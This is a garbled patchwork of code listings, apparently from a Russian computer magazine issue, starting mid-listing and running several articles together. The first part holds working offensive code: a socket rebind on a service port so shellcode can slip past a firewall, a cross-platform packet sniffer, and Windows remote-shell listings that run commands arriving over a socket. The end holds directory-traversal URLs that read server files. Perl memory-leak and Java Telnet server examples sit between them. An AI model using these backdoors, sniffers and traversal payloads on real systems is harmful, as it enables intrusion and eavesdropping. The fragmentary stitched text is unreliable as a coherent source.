sizeof(raddr))) return -1; // шаг 4: слушаем // при последующих подключениях к уязвимому порту, управление // получит shell-код, а не код сервера и этот порт будет // обязательно открыт на firewall, поскольку это порт // «легальной» сетевой службы! if (listen(rsocket, 0x1)) return -1; // шаг 5: извлекаем сообщение из очереди csocket = accept(rsocket, (struct sockaddr *) &raddr, &raddr_size); // шаг 6: обмениваемся командами с сокетом sshell((SOCKET) csocket, MAX_BUF_SIZE); // шаг 7 - подчищаем за собой следы closesocket(rsocket); closesocket(csocket); netcat "адрес атакуемого" 80 socket (PF_PACKET, int type, int protocol) ifr.ifr_flags |= IFF_PROMISC; ioctl (s, SIOCGIFFLAGS, ifr) ioctl(fd, BIOCPROMISC, 0) Листинг 5. Создание сырого сокета (дескриптора) и перевод его в неразборчивый режим /*======================================================== Ethernet Packet Sniffer 'GreedyDog' Version 1.30 The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (unewn4th@usa.net) #ifdef SUNOS4 /*--------< SUN OS4 >-----------*/ #define NIT_DEV "/dev/nit" */ #define DEFAULT_NIC "le0" */ #define CHUNKSIZE 4096 */ #endif #ifdef LINUX /*--------< LINUX >-------------*/ #define NIT_DEV "" #define DEFAULT_NIC "eth0" */ #define CHUNKSIZE 32000 */ #endif #ifdef FREEBSD /*--------< FreeBSD >-----------*/ #define NIT_DEV "/dev/bpf" */ #define DEFAULT_NIC "ed0" */ #define CHUNKSIZE 32000 */ #endif #ifdef IRIX /*-----------< IRIX >--------------*/ #define NIT_DEV "" #define DEFAULT_NIC "" #define CHUNKSIZE 60000 */ #define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ether_header)) #endif #ifdef SOLARIS /*--------< Solaris >-----------*/ #define NIT_DEV "/dev/hme" */ #define DEFAULT_NIC "" #define CHUNKSIZE 32768 */ #endif #define S_DEBUG */ #define SIZE_OF_ETHHDR 14 */ #define LOGFILE "./snif.log" */ #define TMPLOG_DIR "/tmp/" */ struct conn_list{ struct conn_list *next_p; char sourceIP[16],destIP[16]; unsigned long sourcePort,destPort; }; struct conn_list *cl; struct conn_list *org_cl; #ifdef SOLARIS int strgetmsg(fd, ctlp, flagsp, caller) int fd; struct strbuf *ctlp; int *flagsp; char *caller; { int rc; static char errmsg[80]; *flagsp = 0; if ((rc=getmsg(fd,ctlp,NULL,flagsp))<0) return(-2); if (alarm(0)<0) return(-3); if ((rc&(MORECTL|MOREDATA))==(MORECTL|MOREDATA)) return(-4); if (rc&MORECTL) return(-5); if (rc&MOREDATA) return(-6); if (ctlp->len<sizeof(long)) return(-7); return(0); } #endif int setnic_promisc(nit_dev,nic_name) char *nit_dev; char *nic_name; { int sock; struct ifreq f; #ifdef SUNOS4 struct strioctl si; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if ((sock = open(nit_dev, O_RDONLY)) < 0) return(-1); if (ioctl(sock, I_SRDOPT, (char *)RMSGD) < 0) return(-2); si.ic_timout = INFTIM; if (ioctl(sock, I_PUSH, "nbuf") < 0) return(-3); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-4); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-5); strncpy(f.ifr_name, nic_name, sizeof(f.ifr_name)); f.ifr_name[sizeof(f.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(f); si.ic_dp = (char *)&f; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-6); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-7); if (ioctl(sock, I_FLUSH, (char *)FLUSHR) < 0) return(-8); #endif #ifdef LINUX if ((sock=socket(AF_INET,SOCK_PACKET,768))<0) return(-1); strcpy(f.ifr_name, nic_name); if (ioctl(sock,SIOCGIFFLAGS,&f)<0) return(-2); f.ifr_flags |= IFF_PROMISC; if (ioctl(sock,SIOCSIFFLAGS,&f)<0) return(-3); #endif #ifdef FREEBSD char device[12]; int n=0; struct bpf_version bv; unsigned int size; do{ sprintf(device,"%s%d",nit_dev,n++); sock=open(device,O_RDONLY); } while(sock<0 && errno==EBUSY); if(ioctl(sock,BIOCVERSION,(char *)&bv)<0) return(-2); if((bv.bv_major!=BPF_MAJOR_VERSION)||(bv.bv_minor<BPF_MINOR_VERSION))return(-3); strncpy(f.ifr_name,nic_name,sizeof(f.ifr_name)); if(ioctl(sock,BIOCSETIF,(char *)&f)<0) return(-4); ioctl(sock,BIOCPROMISC,NULL);if(ioctl(sock,BIOCGBLEN,(char *)&size)<0) return(-5); #endif #ifdef IRIX struct sockaddr_raw sr; struct snoopfilter sf; int size=CHUNKSIZE,on=1; char *interface; if((sock=socket(PF_RAW,SOCK_RAW,RAWPROTO_SNOOP))<0) return(-1); sr.sr_family = AF_RAW; sr.sr_port = 0; if (!(interface=(char *)getenv("interface"))) memset(sr.sr_ifname,0,sizeof(sr.sr_ifname)); else strncpy(sr.sr_ifname,interface,sizeof(sr.sr_ifname)); if(bind(sock,&sr,sizeof(sr))<0) return(-2); memset((char *)&sf,0,sizeof(sf)); if(ioctl(sock,SIOCADDSNOOP,&sf)<0) return(-3); setsockopt(sock,SOL_SOCKET,SO_RCVBUF,(char *)&size,sizeof(size)); if(ioctl(sock,SIOCSNOOPING,&on)<0) return(-4); #endif #ifdef SOLARIS long buf[CHUNKSIZE]; dl_attach_req_t ar; dl_promiscon_req_t pr; struct strioctl si; union DL_primitives *dp; dl_bind_req_t bind_req; struct strbuf c; int flags; if ((sock=open(nit_dev,2))<0) return(-1); ar.dl_primitive=DL_ATTACH_REQ; ar.dl_ppa=0; c.maxlen=0; c.len=sizeof(dl_attach_req_t); c.buf=(char *)&ar; if (putmsg(sock,&c,NULL,0)<0) return(-2); c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf; strgetmsg(sock,&c,&flags,"dlokack"); dp=(union DL_primitives *)c.buf; if (dp->dl_primitive != DL_OK_ACK) return(-3); pr.dl_primitive=DL_PROMISCON_REQ; pr.dl_level=DL_PROMISC_PHYS; c.maxlen = 0; c.len=sizeof(dl_promiscon_req_t); c.buf=(char *)≺ if (putmsg(sock,&c,NULL,0)<0) return(-4); c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf; strgetmsg(sock,&c,&flags,"dlokack"); dp=(union DL_primitives *)c.buf; if (dp->dl_primitive != DL_OK_ACK) return(-5); bind_req.dl_primitive=DL_BIND_REQ; bind_req.dl_sap=0x800; bind_req.dl_max_conind=0; bind_req.dl_service_mode=DL_CLDLS; bind_req.dl_conn_mgmt=0; bind_req.dl_xidtest_flg=0; c.maxlen=0; c.len=sizeof(dl_bind_req_t); c.buf=(char *)&bind_req; if (putmsg(sock,&c,NULL,0)<0) return(-6); c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf; strgetmsg(sock,&c,&flags,"dlbindack"); dp=(union DL_primitives *)c.buf; if (dp->dl_primitive != DL_BIND_ACK) return(-7); si.ic_cmd=DLIOCRAW; si.ic_timout=-1; si.ic_len=0; si.ic_dp=NULL; if (ioctl(sock, I_STR, &si)<0) return(-8); if (ioctl(sock,I_FLUSH,FLUSHR)<0) return(-9); #endif return(sock); } WSAIoctl(raw_socket, SIO_RCVALL, &optval, sizeof(optval), 0,0,&N,0,0)) Листинг 6. Ключевой фрагмент кода пакетного sniffer под Windows 2000/XP // Создаем сырой сокет //-------------------------------------------------------- if ((raw_socket = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) == -1) return -1; // Вот тут некоторые руководства утверждают, что сырому сокету // надо дать атрибут IP_HDRINCL. Дать-то, конечно, можно, // но ведь можно и не давать! Флаг IP_HDRINCL сообщает // системе, что апплет хочет сам формировать IP-заголовок // отправляемых пакетов, а принятые пакеты ему отдаются // с IP-заголовком в любом случае. // Подробности в PlatformSDK ® TCP/IP Raw Sockets // if (setsockopt(raw_socket, IPPROTO_IP, IP_HDRINCL, // &optval, sizeof(optval))== -1)… // Перечисляем все интерфейсы (т.е. IP-адреса всех шлюзов, // что есть на компьютере. При ppp-подлюкчении к Интернету // обычно имеется всего один IP-адрес, назначенный // DHCP-сервером провайдера, однако в локальной сети это не так if ((zzz = WSAIoctl(raw_socket, SIO_ADDRESS_LIST_QUERY, 0, 0, addrlist, sizeof(addrlist), &N, 0, 0)) == SOCKET_ERROR) return -1; … // Теперь мы должны сделать bind на все интерфейсы, выделив // каждый в свой поток (все сокеты – блокируемые), однако, // в данном демонстрационном примере слушается лишь IP первого // попавшегося под руку интерфейса addr.sin_family = AF_INET; addr.sin_addr = ((struct sockaddr_in*) llist->Address[0].lpSockaddr)->sin_addr; if (bind(raw_socket, (struct sockaddr*) &addr, sizeof(addr))==SOCKET_ERROR) return -1; #define SIO_RCVALL 0x98000001 // cообщаем системе, что мы хотим получать все пакеты, // проходящие мимо нее if (zzz=WSAIoctl(raw_socket,SIO_RCVALL,&optval, sizeof(optval),0,0,&N,0,0)) return –1; // получаем все пакеты, приходящие на данный интерфейс while(1) { if ((len = recv(raw_socket, buf, sizeof(buf), 0)) < 1) return -1; … } Листинг 7. Ключевой фрагмент простейшего удаленного shell // Мотаем цикл, принимая с сокета команды, пока есть что принимать while(1) { // принимаем очередную порцию данных a = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0); // если соединение неожиданно закрылось, выходим из цикла if (a < 1) break; // увеличиваем счетчик количества принятых символов // и внедряем на конец строки завершающий ноль p += a; buf[p] = 0; // строка содержит символ переноса строки? if ((ch = strpbrk(buf, xEOL)) != 0) { // да, содержит // отсекаем символ переноса и очищаем счетчик *ch = 0; p = 0; // если строка не пуста, передаем ее // командному интерпретатору на выполнение if (strlen(buf)) { sprintf(cmd, "%s%s", SHELL, buf); exec(cmd); } else break; // если это пустая строка – выходим } } Листинг 8. Ключевой фрагмент полноценного удаленного shell вместе с диспетчером ввода/вывода sa.lpSecurityDescriptor = NULL; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; // allow inheritable handles // create stdin pipe if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1; // create stdout pipe if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1; // cset startupinfo for the spawned process GetStartupInfo(&si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdOutput = cstdout; si.hStdError = cstdout; // set the new handles for the child process si.hStdInput = cstdin; //spawn the child process if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1; while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE)) { // check to see if there is any data to read from stdout if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N) { for (a = 0; a < total; a += MAX_BUF_SIZE) { ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0); send(csocket, buf, N, 0); } } if (!ioctlsocket(csocket, FIONREAD , &N) && N) { recv(csocket, buf, 1, 0); if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0); WriteFile(wstdin, buf, 1, &N, 0); } Sleep(1); } Утечки памяти в программах на Perl Алексей Мичурин # ОСТОРОЖНО! УТЕЧКА ПАМЯТИ! while (1) { my ($a,$b); $a=\$b; $b=\$a } my $ref; { my $var=1975; $ref=\$var; } # print $var # неверно, имя $var уже не доступно print $$ref; # будет напечатано '1975', данные не исчезли 01: #!/usr/bin/perl -w 02: 03: # ОСТОРОЖНО! УТЕЧКА ПАМЯТИ! 04: 05: sub create_ring { 06: my ($length)=@_; 07: my @ring=({'value' => 0})x$length; 08: for (my $i=0; $i<$length; $i++) { 09: $ring[$i]{'next_ref'}=$ring[($i+1)%$length]; 10: } 11: return @ring; 12: } 13: 14: while (1) { my @ring=create_ring(10) } ... 03: # ОСТОРОЖНО! УТЕЧКА ПАМЯТИ! ... 11: return $ring[0]; ... 14: while (1) { my $ring=create_ring(10) } ... 03: # ОСТОРОЖНО! УТЕЧКА ПАМЯТИ! ... 11: return \@ring; ... 14: while (1) { my $ring=create_ring(10) } ... 14: while (1) { 15: my $ring=create_ring(10); 16: $ring->[0]{'next_ref'}=undef; 17: } 01: #!/usr/bin/perl -w 02: 03: package MyRing; 04: 05: sub create_ring { 06: my ($length)=@_; 07: my @ring=({'value' => 0})x$length; 08: for (my $i=0; $i<$length; $i++) { 09: $ring[$i]{'next_ref'}=$ring[($i+1)%$length]; 10: } 11: return \@ring; 12: } 13: 14: sub TIESCALAR { 15: my ($class, $length)=@_; 16: return bless create_ring($length), $class; 17: } 18: 19: sub FETCH { return $_[0]; } 20: 21: sub STORE { die "писать в MyRing нельзя.\n" } 22: 23: sub DESTROY { 24: my ($self)=shift; 25: $self->[0]{'next_ref'}=undef; 26: } 27: 28: package main; 29: 30: # демонстрация работоспособности 31: { 32: my $a; 33: { 34: tie my $ring, 'MyRing', 10; 35: $ring->[1]{'value'}='test'; 36: $a=$ring; 37: } 38: # $ring больше не видна, но данные целы 39: print $a->[0]{'next_ref'}{'value'}."\n"; 40: # здесь вызывается DESTROY 41: } 42: # $ring=7; # это вызовет метод STORE 43: 44: while (1) { tie my $ring, 'MyRing', 10; } 01: #!/usr/bin/perl -w 02: 03: package MyRing; 04: 05: sub main::create_ring { 06: my ($length)=@_; 07: my @ring=({'value' => 0})x$length; 08: for (my $i=0; $i<$length; $i++) { 09: $ring[$i]{'next_ref'}=$ring[($i+1)%$length]; 10: } 11: return bless \@ring, __PACKAGE__; 12: } 13: 14: sub DESTROY { 15: my ($self)=@_; 16: $self->[0]{'next_ref'}=undef; 17: } 18: 19: package main; 20: 21: while (1) { my $ring=create_ring(10); } $ring=7; ... 21: # ОСТОРОЖНО! УТЕЧКА ПАМЯТИ! 22: while (1) { 23: my $ring=create_ring(10); 24: my $a; 25: $ring->[0]{'value'}=\$a; 26: $a=$ring; 27: } Java: встраиваем сервер Telnet Александр Фефелов ant jar java -classpath telnetd.jar net.wimpi.telnetd.TelnetD telnet localhost 6666 package telnetdtest; import net.wimpi.telnetd.*; import net.wimpi.telnetd.io.*; import net.wimpi.telnetd.net.*; import net.wimpi.telnetd.shell.*; public class Test1Shell implements Shell { // Создание экземпляра интерпретатора командной строки // (оболочки). Этот метод, хотя и не описан в интерфейсе // Shell, должен быть реализован, так как он // используется менеджером оболочек для создания // экземпляра конкретной оболочки public static Shell createShell() { return new Test1Shell(); } // Собственно интерпретатор public void run(Connection con) { connection = con; termIO = (TerminalIO) connection.getTerminalIO(); // Регистрируем этот объект в качестве обработчика // событий соединения this.connection.addConnectionListener(this); // Выводим баннер, содержащий номер версии TelnetD termIO.write("TelnetD testbed 1" + CRLF + "TelnetD version: " + TelnetD.getReference().getVersion() + CRLF); termIO.flush(); while (true) { // Выводим подсказку termIO.write(CRLF + "Press [i] for information," + CRLF + "[x] for exit," + CRLF + "[s] for shutdown" + CRLF + CRLF); termIO.flush(); // Ждем ввода от пользователя int ch = termIO.read(); // Реагируем соответствующим образом switch (ch) { case 120: // x - завершение сеанса termIO.write("Goobye!"); termIO.flush(); connection.close(); return; case 115: // s - останов сервера termIO.write("Requiescat in pace!"); termIO.flush(); TelnetD.getReference().setServing(false); TelnetD.getReference().shutdown(); System.exit(0); return; case 105: // i - информация о сервере и сеансе // Получаем данные о соединении ConnectionData data = connection.getConnectionData(); // Выводим данные на экран termIO.write("Additional info:" + CRLF); termIO.write("Connected from: " + data.getHostName() + " [" + data.getHostAddress() + ":" + data.getPort() + "]" + CRLF); termIO.write("Guessed locale: " + data.getLocale() + CRLF); termIO.write("Negotiated terminal type: " + data.getNegotiatedTerminalType() + CRLF); termIO.write("Scrolling support: " + (termIO.getTerminal().supportsScrolling() ? "yes" : "no") + CRLF); termIO.write("Graphics rendition support: " + (termIO.getTerminal().supportsSGR() ? "yes" : "no") + CRLF); termIO.write("Negotiated columns: " + data.getTerminalColumns() + CRLF); termIO.write("Negotiated rows: " + data.getTerminalRows() + CRLF); termIO.write("Login shell: " + data.getLoginShell() + CRLF); termIO.flush(); break; } } } // Реакция на событие соединения: таймаут public void connectionTimedOut(ConnectionEvent ce) { termIO.write("*** Connection timedout" + CRLF); termIO.flush(); connection.close(); } // Реакция на событие соединения: бездействие public void connectionIdle(ConnectionEvent ce) { termIO.write("*** Connection idle" + CRLF); termIO.flush(); } // Реакция на событие соединения: запрос на разрыв // соединения (Ctrl+D) public void connectionLogoutRequest(ConnectionEvent ce) { termIO.write("*** Connection logout request" + CRLF); termIO.flush(); } // Реакция на событие соединения: разрыв соединения public void connectionBroken(ConnectionEvent ce) { termIO.write("*** Connection broken" + CRLF); termIO.flush(); } // Реакция на событие соединения: сигнал NVT BREAK public void connectionSentBreak(ConnectionEvent ce) { termIO.write("*** Connection break" + CRLF); termIO.flush(); } private Connection connection; private TerminalIO termIO; private final String CRLF = BasicTerminalIO.CRLF; } #===================================================== # Параметры системных журналов #===================================================== syslog=on syslog.media=terminal syslog.stampformat=[yyyy-MM-dd hh:mm:ss z] syslog.path= #===================================================== # Параметры отладочных журналов #===================================================== debuglog=off debuglog.media=terminal debuglog.stampformat=[yyyy-MM-dd hh:mm:ss z] debuglog.path= #===================================================== # Терминалы #===================================================== # Известные терминалы terminals=vt100,ansi,windoof,xterm # Классы терминалов term.vt100.class=net.wimpi.telnetd.io.terminal.vt100 term.ansi.class=net.wimpi.telnetd.io.terminal.ansi term.windoof.class=net.wimpi.telnetd.io.terminal.Windoof term.xterm.class=net.wimpi.telnetd.io.terminal.xterm # Алиасы терминалов term.vt100.aliases=default,vt100-am,vt102,dec-vt100 term.ansi.aliases=color-xterm,xterm-color,vt320,vt220,linux term.windoof.aliases= term.xterm.aliases= #===================================================== # Оболочки #===================================================== # Известные оболочки shells=myShell #------------------------------------------- # Параметры оболочки myShell #------------------------------------------- # Класс оболочки shell.myShell.class=telnetdtest.Test1Shell #===================================================== # Слушатели #===================================================== # Известные слушатели listeners=myListener #------------------------------------------- # Параметры слушателя myListener #------------------------------------------- # Порт, на котором слушатель ожидает соединения myListener.port=7241 # Максимальное количество запросов на соединение # (защита от флуда) myListener.floodprotection=5 # Максимальное количество активных соединений myListener.maxcon=10 # Максимальное количество соединений, ожидающих активизации myListener.maxqueued=0 # Время бездействия соединения myListener.time_to_warning=300000 # Время таймаута соединения myListener.time_to_timedout=100000 # Периодичность проверки бездействия и таймаута myListener.housekeepinginterval=1000 # Режим ввода myListener.inputmode=character # Имя оболочки, запускаемой слушателем myListener.loginshell=myShell # Класс фильтра соединений myListener.connectionfilter= package telnetdtest; import java.io.*; import java.util.*; import net.wimpi.telnetd.*; public class Test1 { public static void main(String[] args) throws Exception { System.out.println("TelnetD testbed 1"); // Загружаем настройки TelnetD из файла Properties settings = new Properties(); settings.load(new FileInputStream("test1.properties")); // Создаем сервер TelnetD daemon = TelnetD.createTelnetD(settings); // Разрешаем серверу работать daemon.setServing(true); } } public void run(Connection con) { connection = con; termIO = (TerminalIO) connection.getTerminalIO(); // Регистрируем этот объект в качестве обработчика // событий соединения this.connection.addConnectionListener(this); while (true) { // Очищаем экран termIO.eraseScreen(); // Создаем и отображаем строки заголовка и статуса Titlebar title = new Titlebar(termIO, ""); title.setTitleText("TelnetD testbed 2"); title.setForegroundColor(ColorHelper.YELLOW); title.setBackgroundColor(ColorHelper.BLUE); title.setAlignment(Titlebar.ALIGN_CENTER); title.draw(); Statusbar status = new Statusbar(termIO, ""); status.setStatusText("TelnetD version: " + TelnetD.getReference().getVersion()); status.setForegroundColor(ColorHelper.YELLOW); status.setBackgroundColor(ColorHelper.BLUE); status.setAlignment(Statusbar.ALIGN_RIGHT); status.draw(); // Выводим подсказку к меню termIO.homeCursor(); termIO.moveCursor(BasicTerminalIO.DOWN, 5); termIO.write(CRLF + "Use arrow keys to select " + "command, [Enter] or [Tab] to run command" + CRLF + "Command:" + CRLF); termIO.flush(); // Создаем меню выбора и активизируем его Selection menu = new Selection(termIO, ""); menu.addOption("Editfield demo"); menu.addOption("Editarea demo"); menu.addOption("Exit"); menu.addOption("Shutdown"); menu.run(); // Получаем выбор пользователя int cmd = menu.getSelected(); // Реагируем соответствующим образом switch (cmd) { case 0: // демонстрация возможностей // однострочного редактора termIO.eraseScreen(); termIO.homeCursor(); termIO.write("Editfield demo" + CRLF + "--------------" + CRLF); final int MAX_EDITFIELD_CHARS = 20; // Выводим подсказку к редактору termIO.write(CRLF + "Type any text (max " + MAX_EDITFIELD_CHARS + " chars), press " + "[Enter] or [Tab] to finish typing" + CRLF + "Text:" + CRLF); termIO.flush(); // Создаем однострочный редактор Editfield editfield = new Editfield(termIO, "", MAX_EDITFIELD_CHARS); // Ждем ввода от пользователя editfield.run(); // Показываем пользователю результат termIO.write(CRLF + "Your input: " + CRLF + editfield.getValue() + CRLF); termIO.flush(); break; case 1: // демонстрация возможностей // многострочного редактора termIO.eraseScreen(); termIO.homeCursor(); termIO.write("Editarea demo" + CRLF + "-------------" + CRLF); final int MAX_EDITAREA_ROWS = 4; // Выводим подсказку к редактору termIO.write(CRLF + "Type any text (max " + MAX_EDITAREA_ROWS + " rows), press [Tab] " + "to finish typing" + CRLF + "Text:" + CRLF); termIO.flush(); // Создаем многострочный редактор Editarea editarea = new Editarea(termIO, "", MAX_EDITAREA_ROWS, MAX_EDITAREA_ROWS); // Ждем ввода от пользователя editarea.run(); // Показываем пользователю результат termIO.write(CRLF + "Your input: " + CRLF + editarea.getValue() + CRLF); termIO.flush(); break; case 2: // завершение сеанса connection.close(); return; case 3: // останов сервера TelnetD.getReference().setServing(false); TelnetD.getReference().shutdown(); System.exit(0); return; } // Ждем, пока пользователь нажмет любую клавишу termIO.write(CRLF + "Press any key"); termIO.flush(); termIO.read(); } } bugtraq стр. 94 http://[target]:8080/ishttpd/localweb/java/?/../../../ishttpd.exe http://[target]:8080/ishttpd /localweb/java/?/../../../../../../../../autoexec.bat